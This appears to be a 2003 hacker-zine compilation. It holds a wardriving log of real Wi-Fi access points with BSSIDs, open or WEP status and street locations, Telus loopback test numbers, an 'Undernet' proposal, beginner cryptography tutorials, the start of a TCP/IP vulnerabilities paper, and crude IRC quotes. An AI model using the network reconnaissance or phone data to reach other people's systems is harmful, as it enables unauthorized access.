11.0 LLC : 21 Data : 1 Crypt : 0 Weak : 0 Total : 22 First : "Mon Aug 11 18:58:31 2003" Last : "Mon Aug 11 18:58:40 2003" Address found via TCP 12.240.162.73 Location : 116Street 137Ave Network 14: "default" BSSID: "00:10:E7:F5:8B:52" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 1656 Data : 36 Crypt : 3 Weak : 0 Total : 1692 First : "Mon Aug 11 19:00:40 2003" Last : "Mon Aug 11 19:04:39 2003" Address found via TCP 10.180.127.0 Location : Northgate Mall (across the street at Rosslyn Hotel) Network 15: "5ECUR3w3p5TOR3" BSSID: "00:A0:F8:3A:E5:17" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 11.0 LLC : 125 Data : 0 Crypt : 0 Weak : 0 Total : 125 First : "Mon Aug 11 19:00:57 2003" Last : "Mon Aug 11 19:01:27 2003" Location : Northgate Mall (across the street at Rosslyn Hotel) Network 16: "AP3535" BSSID: "00:A0:F8:9C:36:19" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 11.0 LLC : 48 Data : 0 Crypt : 0 Weak : 0 Total : 48 First : "Mon Aug 11 19:04:33 2003" Last : "Mon Aug 11 19:04:44 2003" Location : Crazyhorse 97st Network 17: "AP3535" BSSID: "00:A0:F8:9C:3B:F1" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 11.0 LLC : 17 Data : 0 Crypt : 0 Weak : 0 Total : 17 First : "Mon Aug 11 19:04:34 2003" Last : "Mon Aug 11 19:04:42 2003" Location : Crazyhorse 97st Network 18: "" BSSID: "00:06:25:24:CE:4E" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 11.0 LLC : 1 Data : 0 Crypt : 0 Weak : 0 Total : 1 First : "Mon Aug 11 19:05:07 2003" Last : "Mon Aug 11 19:05:07 2003" Location : 128Ave 97st Network 19: "linksys" BSSID: "00:04:5A:F6:1C:EE" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 10 Data : 0 Crypt : 0 Weak : 0 Total : 10 First : "Mon Aug 11 19:05:14 2003" Last : "Mon Aug 11 19:05:15 2003" Location : Crazyhorse 97st Network 20: "default" BSSID: "00:40:05:BE:49:CB" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 22.0 LLC : 50 Data : 0 Crypt : 0 Weak : 0 Total : 50 First : "Mon Aug 11 19:10:09 2003" Last : "Mon Aug 11 19:19:15 2003" Location : 118Ave 93street Network 21: "wireless" BSSID: "00:06:25:07:6C:CA" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 56 Data : 0 Crypt : 0 Weak : 0 Total : 56 First : "Mon Aug 11 19:11:40 2003" Last : "Mon Aug 11 19:17:52 2003" Location : 118Ave 89st (Across from Church) Network 22: "cornerstone" BSSID: "00:06:25:66:D5:38" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 34 Data : 2 Crypt : 0 Weak : 0 Total : 36 First : "Mon Aug 11 19:12:57 2003" Last : "Mon Aug 11 19:13:01 2003" Address found via TCP 192.168.1.100 Location : 120Ave (By Mac's store) Network 23: "MUNROnet" BSSID: "00:50:F2:C5:2A:7A" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "Yes" Maxrate : 11.0 LLC : 88 Data : 0 Crypt : 0 Weak : 0 Total : 88 First : "Mon Aug 11 19:16:56 2003" Last : "Mon Aug 11 19:17:10 2003" Location : 80street 118ave Network 24: "wireless" BSSID: "00:90:4B:32:88:DA" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 2 Data : 0 Crypt : 0 Weak : 0 Total : 2 First : "Mon Aug 11 19:21:34 2003" Last : "Mon Aug 11 19:21:34 2003" Location : NAIT H/P Princess Elizabeth Ave (106Street) Network 25: "public" BSSID: "00:0A:B7:80:1B:FE" Type : infrastructure Carrier : 802.11b Info : "b-w203-ap1200" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 385 Data : 1 Crypt : 0 Weak : 0 Total : 386 First : "Mon Aug 11 19:21:53 2003" Last : "Mon Aug 11 19:30:35 2003" Location : NAIT H/P Princess Elizabeth Ave (106Street) Network 26: "public" BSSID: "00:40:96:33:D8:78" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 178 Data : 0 Crypt : 0 Weak : 0 Total : 178 First : "Mon Aug 11 19:21:55 2003" Last : "Mon Aug 11 19:28:05 2003" Location : NAIT H/P Princess Elizabeth Ave (106Street) Network 27: "linksys" BSSID: "00:06:25:64:DE:66" Type : infrastructure Carrier : 802.11b Info : "None" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 1 Data : 0 Crypt : 0 Weak : 0 Total : 1 First : "Mon Aug 11 19:22:13 2003" Last : "Mon Aug 11 19:22:13 2003" Location : NAIT H/P Princess Elizabeth Ave (106Street) Network 28: "student101" BSSID: "00:0A:B7:80:1B:F1" Type : infrastructure Carrier : 802.11b Info : "b-w206-ap1200" Channel : 06 WEP : "No" Maxrate : 11.0 LLC : 241 Data : 0 Crypt : 0 Weak : 0 Total : 241 First : "Mon Aug 11 19:27:37 2003" Last : "Mon Aug 11 19:30:23 2003" Location : NAIT H/P Princess Elizabeth Ave (106Street) --- port9 i dont understand how anyone could want to do ass/be ass rammed you don't appreciate the finer things in life. --- ----------------------The Undernet: A Grandmaster Plan-------------------------- by CyberSk4nk ================================================================================ For years, the existence of the Internet has been a dream for the hackers and phreakers of the world. The internet was born out of the ARPANET, a US DoD funded project to create a redundant communication system for government purposes. Somehow, in the early 80's, the internet went semi-commercial as the building block for university research. By the 90's, it went full-blown commerical, with ISPs providing service to home and buisness users who know had the money for cheap modems and lines. By 1995, banner ads and pop-ups started appearing, littering a perfect hacker utopia with trash and mind-numbing corporate propaganda. Today, the internet is almost fully corporate, with companies like Verisign running a root servers and fucking over perfectly good HTTP 404 messages with it's own "Site Finder" service. P2P users are being prosecuted for excersicing their fair-use rights. Even governments have their hand in this, blocking certain sites they deam offensive to their national security and jailing teens for exploring computers and networks. I present to the hacking and phreaking community a grandmaster plan that I believe has never been thought of before: an underground, private and seperate internet from the real Internet. The Undernet. If somebody has come up with this plan before, it only reinforces the frustration that hackers feel today of the ungodly commercilization of the net. So fellow hackers? Is this even possible? The best part of this is it is. It is perfectly possible. If five of us ran our own root servers, with our own registration system, domain names, we would have a seperate internet. For other to access the Undernet, all users would have to do is set their TCP/IP settings to point to our DNS servers, as opposed to the one supplied by their ISP. DNS servers, as long as they don't receive millions of hits every minute, should be able to run most comfortably on an old 486 or early pentium machine. These machines could also act as very fast IPSec routers and gateways. This would mean end-to-end encryption between the major nodes on the Undernet. Encryption would provide anonymity and VPN-like seperation between the Undernet and the Internet. Yes my friends, this is completely possible. And we could delete logs as often as we like or encrypt the server's filesystems to thwart future attempts by the governement to get information on our valuable users and friends. So, I present to you this grandmaster plan. This is just an RFC of sorts, and if I receive enough feedback of hackers with cable modems and old servers, we could start this wicked project and set up our own DNS root servers for the Undernet. If you: - have cable modem or ADSL access - have an old spare PC to use as a router/DNS server - are willing to donate some spare time to create an encrypted, private Undernet seperate fromt the Internet for p2p, irc, www, ntp, and mail services. - have hardware hacking and unix/bsd/linux skillz NETTWERKED NEEDS YOU! Enlist now! contact me on #hackcanada or by email at cybersk4nk@shaw.ca -cyberSk4nk- -Sat Sep 27 15:03:57 MDT 2003- --- dont die man, ur pretty awesome --- The New Consience So there you have it. The DOTCOM industry has come and gone. The IT sector is currently on its way out. Companies that were mammoth three years ago are now searching overseas to find decent business. To anyone who's been following technology for less than that long, we've accomplished everything we can. This is especially the attitude of many teenagers upon whose shoulders the future rests. A true hacker knows better than this. A true hacker knows that innovation and passion will always supercede the collapse of an industry built upon a faulty social system. A true hacker knows that what should be looked to is not the next Windows update, but an idea which bends and breaks habits and crushes superstition. Want some examples? While the 1980s is a good place to start, the culture started long before that. In the 1970s, there was Berkley, there was TAP. In the 1960s, there was MIT. 1940s, Alan Turing and John von Neuman. Go back farther, you'll find Babbage, Pascal, and even Aristotle. If those people aren't your idea of hackers, you need to reexamine your views. They didn't code? Of course not-- Grace Hopper didn't develop the compiler until World War 2. They didn't exploit? While one can't exploit a computer system that didn't exist until von Neuman created it, one can certainly exploit a political system, like Socrates did, or a financial field, like J.P. Morgan did. Hacking isn't about computers, it's about creativity. It's about subverting those who wrong you and finding the path the will designs. While 99.9% of modern day media born hackers explore computer systems and develop tools and exploits, some--fewer as the idea gets more popular-- realize why it is they're exploring and exploiting. If a hacker is Jesus, then knowledge is his Holy Grail. There is nothing more refreshing and satisfying than learning something new, playing with it, molding it into what you think it can be. The foundation of the world we live in today was set by subversives, and it is the subversives who will always prevail in the end. Those who think independantly not because they were told to, but because they want to. Not always honorable, but because the notion of honor changes with those who redefine it. Not for the common good, because most people are easily satisfied with being controlled. It's not about altruism, it's about progress. It's about defining who you are and understanding the world you live in. It's about finding out what has been taken from you and taking it back. If you don't like this, then step aside and die with the rest of the IT world. If you try to fight this, you will eventually fail. There is no way to stop hackers because they will not play by your rules, and if you stop them, you stop the world. When you aim a gun at them, you won't notice they've flipped the chamber so it strikes you. Play by their rules, and perhaps some day you'll appreciate all they've done for you. They're not dangerous, only misunderstood. - aestetix | 09/03 --- oh yeah. I get my jollies turned right on by you talking about fartbubbles. ) lmao, port9 u and me share teh same fetish, ill pay u fifty bucks to come up here and fart on my chest, it has to be bubbly tho --- Fun with Cryptology: a basic introduction PART ONE: SUBSTITUTION CIPHERS I've met a lot of people in the past two years that have shown an interest in cryptology (aka crypto), whether for improving web site security, encrypting top secret documents, or just having a little fun with friends. My purpose in writing this brief introduction is to give you an idea as to what cryptology really is, dispell some of the myths about it (especially since 11 September), and toss out a few notions of what encrpyption is to get you started on your way. This first tutorial will deal with substitution ciphers, one of the most primitive means of cryptography. The next one will deal with transposition, and later I'll be writing about steganography and various math toys with computer programs. Enjoy! ---PART ONE: DEFINITIONS-- Cryptography: making codes, or the process of encoding a message Cryptanalysis: the process of deciphering a code, cracking it Cryptology: Cryptography and Cryptanalysis together. Crypto: short for Cryptology Plain text (PT): original unencoded message Cipher text (CT): encrypted message Monalphabetic: using a single alphabet Polyalphabetic: using multiple alphabets ---PART TWO: HISTORY--- There's a whole shitload I could write on crypto history, but I gotta keep this short and sweet and give a few book references at the end of the tutorial. Crypto has been around for a long time, dating all the way back to various number tricks in religious texts-- if you don't feel like weeding through the Bible or Koran, watch the movie Pi to get an idea of what I'm talking about. Anyways, crypto was common with the Greeks and Romans to send secret messages about battles, and after Rome fell became heavily used by European kings and the Papacy. In fact, many Popes and kings had an official cryptanalyst who would decipher messages that were intercepted by spies. One famous example of this is the tale of Mary Queen of Scots, who was ultimately caught and executed for treason because letters with her accomplice Babbington to usurpt Queen Elizabeth were intercepted and deciphered. Through most of the Dark Ages and Middle Ages, crypto was simple alphabet substitutions, that is, replacing letters of the alphabet with other letters or symbols. Then hits the Renaissance, and you got three bigwigs: Leon Battista Alberti, who created the cipher disk, Johannes Trithemius, author of Steganographia and first guy to develop a tableau, and Giovanni Battista Porta, who developed methods to solve polyalphabetic ciphers (codes using more than one cipher alphabet). As far as reputation goes, these guys are all overshadowed by Blaise de Vigenere, who developed the famous Vigenere tableau. Ultimately, all these guys worked to develop different notions of how to use certain symbols to replace letters in their messages, aka substitution ciphers. --PART THREE: SUBSTITUTION-- Substitution is essentially using a cipher alphabet to write your message... rotation (like rot13) is probably the most common form of this nowadays. Here's an example: Alphabet 1: ABCDEFGHIJKLMNOPQRSTUVWXYZ Alphabet 2: NOPQRSTUVWXYZABCDEFGHIJKLM This is the classic layout where alphabet 2 is rotated 13 letters (aka rot13). So if you have the PT "MOVE ZIG" it would become "ZBIR MVT". A clever way to play with this is to assign multiple letters to a letter like this: Alphabet 1: ABCDEF G HIJKLMN O PQRSTUVWXYZ Alphabet 2: RJGITU(L/K)XNYTIWI(R/S)TIRNVCAPQED In this alphabet, "G" of alphabet 1 can be substituted with either "L" OR "K" in the second alphabet, and likewise both "E" and "P" of alphabet 1 can be subtituted with "T" from alphabet 2. You can use non-Latin symbols like Pi, infinity, shapes, or whatever the hell you want. While an alphabet system like this can make your CT a little more difficult to decipher, an experienced cryptanalyst shouldn't be put off too much by it. There are also anagrams, which consist of mixing up sets of letters. This can be done either by mixing word for word, or mixing an entire sentence. For example: PT: MY BOAT SANK IN THE WATER. CT: YM OTBA NAKS IN HET RETWA. Technically, words that are written backwards (sdrawkcab) also fit into this category. Most of the time, anyone with a good vocabulary shouldn't have a hard time cracking these. The best way to begin attacking systems like this is to do a frequency analysis on the characters. Most of the time anyone using a monalphabetic system is doing it either out of lack of time to use a more advanced cipher, or because they don't know how. You can easily exploit this by looking for common trends in the language, assuming English from here on. Start with a frequency list like this: (most frequent) ETAONIRSHDLUCMPFYWGBVJKQXZ (least frequent) Then take note of certain groups... like if there's an isolated CT character, it's got to be either "A" or "I", and words have common endings, like "ing." It's also a good idea to have an idea of what the message is supposed to contain, and who wrote it. There are some more advanced techniques, but I think this should suffice for now. --PART FOUR: POLYALPHABETICS--- This is where we meet our friend Trithemius and his tableau (wrongly assigned the name "Vigenere tableau"). Trithemius was playing around with Alberti's cipher disk and realized: why not just stick this all on paper in a table form? Polyalphabetic cryptgrography was actually conceived earlier than this, but fuck history. Remember that second substitution table I gave, where a few letters had multiple substitutions? Well these guys had this idea: why not make every letter it's own substitution alphabet? That's where the cipher disk comes from. So from this, we can derive a basic keywordless tableau: ABCDEFGHIJKLMNOPQRSTUVWXYZ BCDEFGHIJKLMNOPQRSTUVWXYZA CDEFGHIJKLMNOPQRSTUVWXYZAB DEFGHIJKLMNOPQRSTUVWXYZABC EFGHIJKLMNOPQRSTUVWXYZABCD FGHIJKLMNOPQRSTUVWXYZABCDE GHIJKLMNOPQRSTUVWXYZABCDEF HIJKLMNOPQRSTUVWXYZABCDEFG IJKLMNOPQRSTUVWXYZABCDEFGH JKLMNOPQRSTUVWXYZABCDEFGHI KLMNOPQRSTUVWXYZABCDEFGHIJ LMNOPQRSTUVWXYZABCDEFGHIJK MNOPQRSTUVWXYZABCDEFGHIJKL NOPQRSTUVWXYZABCDEFGHIJKLM OPQRSTUVWXYZABCDEFGHIJKLMN PQRSTUVWXYZABCDEFGHIJKLMNO QRSTUVWXYZABCDEFGHIJKLMNOP RSTUVWXYZABCDEFGHIJKLMNOPQ STUVWXYZABCDEFGHIJKLMNOPQR TUVWXYZABCDEFGHIJKLMNOPQRS UVWXYZABCDEFGHIJKLMNOPQRST VWXYZABCDEFGHIJKLMNOPQRSTU WXYZABCDEFGHIJKLMNOPQRSTUV XYZABCDEFGHIJKLMNOPQRSTUVW YZABCDEFGHIJKLMNOPQRSTUVWX ZABCDEFGHIJKLMNOPQRSTUVWXY To produce a polyalphabetic CT from this table, you need a key that tells which letter in the alphabet to use. For example, say we want to use the key "ATHEIST"... this means that the first alphabet starts with A, the second with T, etc. In this case, it's just rotating each alphabet to the desired letter. So watch this: PT: YOUR GOD IS AN KEY: ATHE IST AT HE CT: YHBV OGW IL HR Let me try to state it a little more obviously. Say you have the PT "O" and the Key "T"... find "O" in the top row, and on the left column find "T", and you'll find the corresponding "H" as such: ABCDEFGHIJKLMN-O- B <-1- | C | D | E | F| | G| | H2 | I| | J\/ | K | L | M | N | O | P | Q | R | S -3-> * T-------------*H* To decipher this, assuming you have the CT and KEY, simply run that same operation backwards. There are also ways of analysing the CT to find the key, but they are a bit advanced for this tutorial. ---PART FIVE: CONCLUSION-- I'm ending this now because there's a lot more I could put in, but I think it's better suited for another tutorial. This should have provided you with a decent idea of what entails substitution cryptography. In the next tutorial, I'll be writing about transposition, and eventually maybe I'll get to some of the more mathematical ideas (like triple-DES, RSA, or PGP). If you want more information on any of the concepts I've discussed here, check out David Kahn's _The Codebreakers_, or Simon Singh's _The Code Book_ for more information. --aestetix --- I'm reading a intro file on buffer overflows. So sad that I didn't even know how they worked... it's not the size of the buffer, it's the address of the pointer. :P sorry bad joke haha --- Fun with Cryptology: A Basic Introduction PART TWO: TRANSPOSITION CIPHERS If you're reading this, I'll assume you've already read my Substitution tutorial. This carries one from it with the next chapter, transposition. ---PART SIX: TRANSPOSITION HISTORY--- The first notion of a transposition cipher was developed in the fifth century B.C.E. by the Spartans. They developed a device called a skytale (or scytale, depending on who you ask) that was a dowel or cylinder that you wrapped a strip of paper around. When it was wrapped, you wrote a message across it, so each letter was on a different piece. Then you unwrap the paper, write down the jibberish, copy it onto a paper and give it to a messenger to carry along. This way, if the messenger gets caught, the enemy is stuck with a bunch of jargon and a worthless messenger who doesn't know what the hell a scytale is. So picture this: you're a king or high general, and some messenger comes up to you and gives you this paper with crap written on it. How do you decipher it? Well, there are essentially three ways to handle this. Either (and this is the least secure) the sender writes the dowel size on the paper for you, which blows the entire point of the scytale in the first place. Second, you and the sender previously agreed on a dowel size to put your codes on... this was common, but the problem is here that someone finds out what the size is, suddenly they can decipher all your messages assuming that they understand how a scytale works. Finally, and most secure, each person has an arsenal of different sized scytales they use, so when you get a message, you try it out on each one until it finally fits. This is a little more time consuming, but if you're gonna defeat the Spanish Armada you want security. ---PART SEVEN: BASIC TRANSPOSITION--- So then, taking the idea of the skytale, cryptographers realized they could achieve this effect right on the paper. One common effect is to wrap some text into a shape, like a square. Take the phrase "TRINITY IS A SCRIPT KIDDY" and watch this: TRINI TKIDT PXXDY IXXYI RCSAS If you don't see how I did that, look at the "T" in the top left corner and follow to your right, then down. Now notice the "X"s at the end... Xs are generally used when your text doesn't have the right length...say you got a phrase 23 letters long you need to fit into a 25 letter shell, just add two Xs to the end. You can play around with different shapes if ya want, stretch out text, etc. Ok, on to the more advanced stuff. I'm guessing that at least some of you reading this have played with the notion of entering the text into the skytale -backwards-... produces an interesting effect, doesn't it? Here's another idea: try putting in all the words in reverse order. That way, you'll have a sentence like "KIDDY SCRIPT A IS TRINITY." This might throw off some of the morons who don't feel like putting an extra hour or two into figuring out multiple cipher levels. ---PART EIGHT: HIGH SCHOOL SHIT--- Wanna make it more difficult? Check this out. Let's say you got a long paragraph... lemme use the first paragraph of the Declaration of Independence for this one (written by Thomas Jefferson, a genius Deist... but I'll write about that in another tutorial). Now here's a cool trick: instead of putting words in reverse order, do that with groups of five or six words. So let's say we've done this, and have: TO THE SEPARATION. THE CAUSES WHICH IMPEL THEM REQUIRES THAT THEY SHOULD DECLARE TO THE OPINIONS OF MANKIND THEM, A DECENT RESPECT NATURE'S GOD ENTITLE LAWS AND NATURE,AND OF AND EQUAL STATION TO WHICH THE THE POWERS OF THE EARTH, THE SEPARATE TO ASSUME ALONG CONNECTED THEM WITH ANOTHER, AND POLITICAL BANDS WHICH HAVE FOR ONE PEOPLE TO DISSOLVE THE EVENTS, IT BECOMES NECESSARY WHEN IN THE COURSE OF HUMAN For this thing, I think the scrambled word groups are enough to encrypt it without any extra goodies, though if you have some document you want safe, it might be a good idea to reverse or even rot13 it. Here's the result of placing this text into a 24*14 square: TOTHESEPARATION,THECAUSE HEOPINIONSOFMANKINDTHEMS TATURE,ANDOFANDEQUALST,W ONTHESEPARATETOASSUMEAAH TD,,ANDPOLITICALBANDATDI ENHRODISSOLVETHEEVESLIEC RATETSSARYWHENINTHNWOOCH ASRHEAMUHFOESRUOCETHNNEI LWATLCENSEMOCEBTI,SIGTNM CAEOPOEPENOROFEVAHHCCOTP ELENAHTIWMEHTDETCENNOWRE DEHTFOSREWOPEHTEHTHCIHEL DLTITNEDOGS'ERUTANTCEPST LUOHSYEHTTAHTSERIUQERMEH There's actually a typo in there... can anyone find it? :) As you can see, I've made this table from the outside in, You can also make one from the inside out, but fuck if I'm gonna make another one of those :p ---PART NINE: GETTING INSANE--- Yes, you can actually take this shit a step further! So say you wanna protect something, but don't wanna manually reorder words or anything (completely understandable). Here's a solution: split up the individual letters. Let's take the phrase "My god, it's full of stars"... and skip every third letter, as such: MSFYFSGUTOLADLRIOST Make sense? Good. Elonka found a far more complex example of this in the third part of the -unsolved- Kryptos sculpture. I'd recommend check that out for more information: http://elonka.com/kryptos/part3.html ---PART TEN: CONCLUSION--- By now you should have a far better understanding of the basics of crypgtography. In these first two tutorials I wanted to take on a more classical approach, introducing some concepts and techniques, showing cryptanalysis techniques where I thought appropriate. In my next tutorial, I'm going to be covering a lot of methods that have arisen in the last few decades with advances in mathematics and computers, and briefly touch on Steganography, the art of hiding messages in things. Peace out. --aestetix --- Haha. A prince george rave. Is that like a lumberjack party^.. --- Fun With Cryptology: A Basic Introduction PART THREE: MODERN METHODS You should now have a fairly good understanding of substitution and transposition ciphers. What follows are some of the techniques which have arisen with the advent of the last 40 years of computing. ---PART ELEVEN: BACK TO BASE--- If you've read my tutorial on base systems, this should be a breeze. If you're not familiar with it, the ASCII standard is a list of 256 characters that correspond with a number [between 0 and 255]. The first few are system commands, and after about 20 characters you start getting into common alphanumerics you can write messages with. The advantage of having a number assigned to each character? You can hop across different base systems with the ASCII assignments. Hex representation of ASCII is used in a lot of puzzles, like those of jonnyX, Elonka, and xacid (links at the end). --PART TWELVE: PUBLIC KEY--- Ok, this is where shit starts getting fun. All credit for this is owed to Whit Diffie, the crypto god who came up with this in the 70s. Basically, the biggest problem with cryptology in the 60s and 70s was identity verification. Jumping back to the scytale example in the last tutorial, upon the deep military strategy that the Cold War involved, you had to ask certain questions, like how to know for sure that messenger was indeed carrying a cryptogram from an ally, or was a cleverly disguised enemy. There had been many attempts at solving this problem, many of them quite expensive and still to no avail. Diffie had been pondering this problem for many years, and one day, while living at his good friend Marty Hellman's house, stumbled upon the idea of public key cryptography. Only recently had they developed systems that used -keys- to encrypt data through an algorithm. But, Diffie thought, what if the key was split into two parts, private and public; public being the piece everyone can see and use, and private being the key only one person, the recipient of the message, has. Seems commonsense today, but for its time it was a major breakthrough. So let's translate this into english for crypto beginners. Say you have a program (PGP works, because it's very well known). You want to send a friend a message about his mom, but you know his mom reads his email, so you want to make sure only he has access to it. So you go to his site or something and get his Public Key Block. It probably looks like it's been sent through a computer processing plant and turned into jargon.... take this key, input it in the PGP program you've already loaded up. Enter your message, encrypt. Voila! You have a set of jargon that can only be read if your friend takes his Private Key Block, and inputs it along with your jargon into his copy of PGP. Fucking clever, eh? The flipside: if you have an important message and people must know it came from you, use your private key to encrypt it-- it can be decrypted with your public key. This means that if you wanna get your friend his message and remove doubt it came from you, you can dual encrypt, first with your private key and then with his public key, or vise versa. Either way, the corresponding keys will unlock your message. Tell me that's not genius! ---PART THIRTEEN: A/SYMMETRIC--- The concept of PGP falls into the category of symmetric encryption. Symmetric means it can be both encrypted and decrypted, whereas asymmetric can only be encrypted. Why would you want a message that couldn't be decrypted? This leads into a whole new realm of security. Say you have a computer system that needs to verify a password entered. Instead of worrying about whether someone else can read your mail, you now want to make sure nobody can duplicate your password. A good scheme will take your password PT and run it through so many cycles of whatever algorithm that even it's mother won't recognize it anymore. However, some problems arise here. For example, if you run each letter through 500 levels of jargoning shit, each letter will still result in the same jargon each time. This means that if someone finds your password file with encrypted data in it, they can just pull up a password entry dialog and enter characters until they find the ones that correspond to the jargon they found as your password. Ultimately, this reduces even the highest level of crypto to just another substitution cipher. So the system has to meet the challenge of encrypting your data in a secure way that can't be brute forced. This is where we run into ideas like block ciphers, DES and Triple DES, , which are all beyond the introductory level. If you're interested, I recommend reading through http://www.rsasecurity.com/rsalabs/faq/sections.html the RSA Labs tutorials. ---PART FOURTEEN: STEGANOGRAPHY--- Steganography is sort of an extension of cryptography, sort of an encryption of its own. Where cryptography means "hidden writing", steganography means "covered writing." The difference? While crypto is more a process of obfuscating data in all sorts of ways, steganography is simply a way to hide data. There are all sorts of steganographic methods that have been used through the years: Herodotus wrote that sometimes messengers would scrape the wax off a wax covered table, write a message on it, put the wax back on, and send the furniture to the recipient. Other methods included shaving messengers heads, tattooing messages on their scalps, waiting for their hair to grow and sending them off. So jump into the 90s, and the Internet. One of the novel ideas of the Internet is the ability to exchange images. So let's take a look at image structure. You should know from general knowledge that the image is in the computer as ones and zeros, right? Well, let's lay out the first few bytes of the image as such: 10001010 10111001 01010010 01011111 00001011 10101010 10101010 10100111 00001010 10101010 01010101 01010100 Ok, check back to the base tutorial, which you've of course already read. Haven't? Read it, otherwise this next part won't make sense. We know from number system theory that the bits on the left represent higher places, thus those on the right are fairly small in value. That means changing a few of those bits of little significance (aka least significant bit, or LSB) really won't affect your image much. Hold the fuck on. An image file is really big. That means you got a lot of bytes. If these LSBs on the bytes are changeable, why not interlace a fucking message through them?!?! So check this. We have a message that we convert to binary via the ASCII table and base10 to base2 conversions. Say the first part of the message is "110101010101". We can alter the LSBs of each byte as such: 10001011 10111001 01010010 01011111 00001010 10101011 10101010 10100111 00001010 10101011 01010100 01010101 We just interlaced a message into an image, and there's really no way to tell. You think the naked eye can see that? But it gets better. What other kind of media are there? Sound files? Sure. Video? Definately. Basically, anyone with a hex editor and a choice file can embed messages however they want. And LSB is just one way to do it. Maybe skip every other byte? Or maybe you want to run your message through a choice algorithm (blowfish or triple-des, anyone?) before you stick it in that granny porn. ---PART FIFTEEN: CONCLUSION--- I've concluded up to the basics of modern cryptography, and with this I end my "Fun with Cryptology!" series. If this is more appealing to your than my tutorials on classical crypto, I recommend checking out books like _Applied Cryptography_ by Bruce Schneier (he also runs a monthly called the Cryptogram, which is at least worth a google). Also, check out _Crypto_ by Steven Levy, which is a modern history of cryptography (1960s to late 90s) and manages to explain some of the more complex ideas in plain english. For Steganography, I recommend a google on Niels Provos, a Michigan State grad student who is a pioneer in steganalysis theory. And always, David Kahn's _The Codebreakers_. I hope you enjoyed my tutoral series, and I'm always interested in feedback on new ideas and how to make my writing easier to understand. Some nifty links: http://home.sc.rr.com/xacid/code/ -- xacid's compilation of various stl2600 and se2600 puzzles. http://members.aol.com/nova1337/tutorial.htm -- Elonka's PhreakNIC 3 code analysis --aestetix --- * kan_snore sets mode: +o jdm- haha still awake you're going to sleep through sewing classes don't poke yourself w/ the needle =\ and fuck sewing that would be sad. I remember in grade 7 we had to take sewing classes with home Economics and some kid poked his hand with a needle and his little pillow was never finished lol the early 1990's were a confusing time for all of us. --- "Take a shot for every province in Canada in a row." by "drunk ass" Kybo: sept 20 2003 shot #1: "to bc; your dope is fun but your egg rolls scare me." shot #2: "to alberta; Fuck sakes... I stick my big toe in his bum if you don't stop with the linux humhum." shot #3: "to saskatchewan; nutin' good about your province, you're a rectangular. I try to fuck your mother but she's angular shot #4: "to winnipeg (not manitoba); fuck the rest of the province... there's nothing ainit." shot #5: "to ontario; I don't know why people live there, it's fucking stinkyo. p.s. cornwall sucks." "... shut up dad." shot #6: "To quebec; tabarnaque calise de st-saint-sacremenp de fucker taboly." shot #7: "New brunswick; you bitches a hoes, don't rememba to shovel my snow. Jackel fuck off" shot #8: "Nova Scotia; you wemens is easy so draw me a map pleasy." shot #9: "Newfoundland; dfri9fr89890ui0ui90ui90jkogfjkoti5u9012rhj8iwgfnhjohqwhjyu12348ywf... what the crap was that, bi-ot-tch." shot #10: "PEI; Fuck all ya'll, you're fired. And you smell like cheese whiz. THE END." --- HAHAHA! well... i eat chicken at my computer(which is on the floor, till next week) {shaving creates super itch) and pubes are everywhere if you look, its scary --- TELUS DIGITAL LOOPBACK NUMBERS (with corresponding CLLI data!) by -> Anonymous Phone Hero Date -> Saturday, Aug 30, 2003 Airdrie- ARDRABO2DS0- 948 9099 Banff- BNFFAB01CG2- 762 9099 Bonnyville- BNVLAB03CG1- 826 9199 Calgary Main- CLGRAB01CG2- 530 9099 Camrose- CMRSAB06DSO- 672 9099 Drumheller- DMHLAB01CG0 Ft Macmurray- FTMMAB03DSO- 743 2324 Ft Saskatchewan- FTSKAB01CG01- 992 9099 Grand Prairie- GDPRAB01DSO- 823 1199 High Level- HILVAB01CG0- 9269099 Hinton- HTHNAB02DSO- 865 9099 Lethbridge- LTBRAB01CG1- 382 2999 Lloydminister- LLYDAB01CG1- 871 9099 Medicine Hat- MDHTAB02CG1- 528 6999 Peace River- PCRVAB01CG0- 624 9199 Red Deer- RDDRAB01CG1- 341 8999 Sherwood Park- SWPKAB01DSO- 464 9099 Slave Lake- SELKAB01CG2- 849 9099 St. Albert- STALAB01DSO- 460 9099 Stettler- STRLAB01CG0- 742 9199 Vegreville- VGVLAB01DSO- 632 9199 Wainwright- WNWRAB01CGO- 842 9099 Wetaskawin- WTKWAB02CG0- 361 9099 .eof --- oh clonie, ur so bad u rival the powerglove * theclone blushes --- ************************************************************** * TCP/IP VULNERABILITIES AND WEAKNESSES * ************************************************************** by shaun2k2 --[ INTRODUCTION ]-- The intent of this paper is to explain and explore the various serious vulnerabilities in the TCP/IP suite, and IPv4 itself. I assume you have a working knowledge of UNIX-like systems and know a *little* about networking. I will first start with essential IP background knowledge, and then move onto various vulnerabilities in TCP/IP. [SECTION I - BACKGROUND KNOWLEDGE] --[ 1.0 INTERNET PROTOCOL - ANATOMY / THEORY ]-- The Internet Protocol, also widely known as 'IP', is a connectionless, semi-reliable Network protocol, originally developed by the U.S military intended to be a usable network topology for its internal communications. IP provides a layered protocol structure for Network communications. In this structure, each protocol provides a sort of function to the layer above it (see below). The TCP/IP suite consists of 4 main protocols, within itself: * IP * TCP * UDP * ICMP Although IP is the most important of protocols in this list, it cannot by itself do much, such as make connections. This is where the "Transport-layer" protocols come in, such as TCP and UDP, whilst the "Network Protocols" (IP, ICMP) do the slightly lower-level stuff. Arguable the most important and most widely used transport protocol is 